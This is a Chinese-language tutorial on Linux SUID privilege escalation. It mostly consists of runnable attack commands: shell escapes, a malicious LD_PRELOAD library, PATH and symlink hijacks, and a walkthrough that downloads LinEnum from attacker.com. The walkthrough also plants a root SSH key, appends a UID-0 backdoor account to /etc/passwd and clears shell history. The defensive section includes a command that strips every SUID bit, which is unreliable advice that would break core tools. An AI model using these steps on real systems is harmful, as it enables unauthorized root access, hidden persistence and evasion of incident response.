1. SUID提权基础概念解析
SUID(Set User ID)是Linux/Unix系统中一种特殊的文件权限属性,它允许用户以文件所有者的身份执行该文件。当某个可执行文件设置了SUID位时,无论哪个用户执行它,该程序都会以文件所有者的权限运行。这个机制原本是为了方便普通用户临时获取更高权限执行特定任务(如passwd命令修改密码),但同时也成为了攻击者提权的重要突破口。
SUID权限的标志是s,在文件权限中显示在所有者执行位的位置。通过ls -l命令查看时,如果所有者执行位是s而非x,就表示该文件设置了SUID位。例如:
code复制-rwsr-xr-x 1 root root 63960 Mar 23 2022 /usr/bin/passwd
SUID提权的核心原理是:攻击者通过精心构造的输入或环境,利用具有SUID权限且存在漏洞的程序,以root或其他高权限用户的身份执行任意命令。这种提权方式之所以有效,是因为许多系统管理员会无意中给不必要的程序设置SUID位,或者使用存在漏洞的SUID程序。
注意:在实际渗透测试中,利用SUID提权必须获得目标系统的初始访问权限(如通过Web漏洞获得www-data用户权限),这属于后渗透阶段的操作。未经授权的提权尝试可能违反法律。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 识别可利用的SUID程序
2.1 查找SUID文件的方法
在获得低权限shell后,第一步是枚举系统中所有设置了SUID位的可执行文件。以下是几种常用的查找命令:
- 基本查找命令:
bash复制find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
这个命令从根目录开始查找所有SUID文件(-perm -4000表示SUID位),排除错误输出(2>/dev/null)。
- 更详细的查找方式:
bash复制find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
这里增加了-user root条件,只查找属于root用户的SUID文件,因为这是我们最关心的提权目标。
- 结合grep过滤已知安全文件:
bash复制find / -perm -u=s -type f 2>/dev/null | grep -vE "/usr/bin/passwd|/usr/bin/sudo|/usr/bin/find"
使用grep排除已知安全的SUID程序(如passwd、sudo等),专注于可能被忽视的可疑文件。
2.2 常见危险SUID程序
以下是一些历史上经常被用于提权的SUID程序,安全团队应当特别关注:
- Nmap(特别是旧版本):
bash复制nmap --interactive
nmap> !sh
较旧版本的nmap带有--interactive模式,可以逃逸到shell。现代版本已修复此问题。
- Vim/vi:
bash复制vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
利用vim的Python支持执行shell,-p参数保留父进程的环境(包括SUID权限)。
- Bash(特定版本):
bash复制bash -p
-p参数告诉bash不要重置有效用户ID。
- Find:
bash复制find / -exec /bin/sh -p \; -quit
利用find的-exec参数直接执行shell。
- Apt/apt-get:
bash复制apt-get changelog apt
!/bin/sh
在显示changelog时可以通过!执行命令。
2.3 自动化枚举工具
除了手动查找,还可以使用自动化工具更全面地枚举SUID文件及其利用方式:
- LinEnum:
bash复制./LinEnum.sh -t
这个脚本会检查SUID/SGID文件、世界可写文件、计划任务等常见提权路径。
- Linux Exploit Suggester:
bash复制./linux-exploit-suggester.sh
基于内核版本和已安装软件建议可能的提权漏洞,包括SUID滥用。
- SUID3NUM:
bash复制python suid3num.py
专门针对SUID提权的枚举工具,内置了已知可提权的SUID程序数据库。
3. 典型SUID提权技术详解
3.1 共享对象注入(Library Hijacking)
许多SUID程序在运行时动态链接共享库(.so文件)。如果程序没有指定完整路径加载库,且当前目录在库搜索路径中,攻击者可以在可写目录创建恶意库实现提权。
利用步骤:
- 使用
strace跟踪SUID程序的系统调用:
bash复制strace /usr/local/bin/suid_program 2>&1 | grep -iE "open|access|no such file"
查找尝试打开但未找到的文件,特别是.so文件。
- 创建恶意库:
c复制// evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/bin/sh -p");
}
编译为共享库:
bash复制gcc -shared -fPIC -o evil.so evil.c -nostartfiles
- 设置环境变量并执行:
bash复制export LD_PRELOAD=./evil.so
/usr/local/bin/suid_program
注意:现代Linux系统通常会对SUID程序忽略
LD_PRELOAD等环境变量作为安全措施。这种技术更可能对自定义的、未正确编写的SUID程序有效。
3.2 路径劫持(PATH Manipulation)
如果SUID程序通过相对路径调用其他命令(如system("ls")而非system("/bin/ls")),可以通过修改PATH环境变量劫持命令执行。
利用步骤:
- 使用
strings查找程序中的可疑调用:
bash复制strings /usr/local/bin/suid_program | grep -E "system|exec|popen"
- 创建恶意程序:
bash复制echo '/bin/sh -p' > /tmp/ls
chmod +x /tmp/ls
- 修改PATH并执行:
bash复制export PATH=/tmp:$PATH
/usr/local/bin/suid_program
3.3 文件描述符利用
某些SUID程序在操作文件时可能没有正确检查文件描述符,导致可以读写高权限文件。
经典案例:/usr/bin/exim4
- 检查exim版本:
bash复制/usr/sbin/exim4 --version
- 利用已知漏洞:
bash复制/usr/sbin/exim4 -ps 2>&1 | grep "Dropping privileges"
如果显示未正确丢弃权限,可以尝试写入敏感文件。
3.4 符号链接竞争(Symlink Race)
结合文件操作的竞争条件,通过符号链接在SUID程序运行时切换目标文件。
利用步骤:
- 创建竞争脚本:
bash复制#!/bin/bash
while true; do
ln -sf /tmp/exploit /tmp/race_target
ln -sf /etc/passwd /tmp/race_target
done
- 在另一个终端不断执行SUID程序:
bash复制while true; do
/usr/local/bin/suid_program /tmp/race_target
done
- 当竞争成功时,SUID程序会操作/etc/passwd而非/tmp/exploit。
4. 防御与缓解措施
4.1 系统管理员防护建议
- 最小化SUID程序:
bash复制# 查找并删除不必要的SUID位
find / -perm -4000 -type f -exec chmod u-s {} \;
- 使用Capabilities替代SUID:
bash复制# 例如给ping程序网络权限而非SUID
setcap cap_net_raw+ep /bin/ping
- 文件系统加固:
bash复制# 挂载/tmp和/var/tmp时使用nosuid选项
mount -o remount,nosuid /tmp
- 定期审计:
bash复制# 使用aide等工具监控SUID文件变化
aide --check
4.2 开发者安全编码实践
- 避免在SUID程序中使用:
c复制system(), popen(), execlp(), execvp()
- 总是使用完整路径:
c复制execl("/bin/ls", "ls", NULL); // 好
system("ls"); // 坏
- 清除危险环境变量:
c复制clearenv();
setenv("PATH", "/bin:/usr/bin", 1);
4.3 应急响应措施
当发现SUID提权攻击时:
- 立即撤销攻击者访问权限:
bash复制killall -u attacker
userdel attacker
- 检查被修改的SUID文件:
bash复制find / -perm -4000 -type f -exec ls -la {} \; > /tmp/suid_audit.log
diff /tmp/suid_audit.log /var/backup/suid_baseline.log
- 检查/etc/passwd和/etc/shadow是否被修改:
bash复制ls -l /etc/passwd /etc/shadow
tail -n 5 /etc/passwd
5. 实战案例:从零完成SUID提权
5.1 环境准备
假设我们已通过Web漏洞获得www-data用户的shell,现在需要提升到root权限。
- 检查当前权限:
bash复制id
uname -a
- 上传枚举工具:
bash复制wget http://attacker.com/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
5.2 枚举SUID文件
执行LinEnum:
bash复制/tmp/LinEnum.sh -t | grep -i suid
发现可疑SUID程序:/usr/local/bin/backup_manager
5.3 分析目标程序
- 查看文件信息:
bash复制ls -la /usr/local/bin/backup_manager
file /usr/local/bin/backup_manager
- 使用strings查看字符串:
bash复制strings /usr/local/bin/backup_manager | grep -E "system|exec|popen|tar|zip"
发现调用了system("tar -zcf /backups/user_backup.tgz $HOME")
5.4 构造利用
- 创建恶意tar命令:
bash复制echo '#!/bin/sh\n/bin/sh -p' > /tmp/tar
chmod +x /tmp/tar
- 修改PATH:
bash复制export PATH=/tmp:$PATH
- 执行SUID程序:
bash复制/usr/local/bin/backup_manager
成功获得root shell。
5.5 权限维持
- 添加SSH密钥:
bash复制mkdir /root/.ssh
echo "ssh-rsa AAAAB3N..." >> /root/.ssh/authorized_keys
- 创建后门账户:
bash复制echo 'backdoor:$1$salt$U1FQrwBZ6L8J9Z5C5XUZR.:0:0:root:/root:/bin/bash' >> /etc/passwd
- 清理痕迹:
bash复制history -c
rm /tmp/tar /tmp/LinEnum.sh
unset PATH
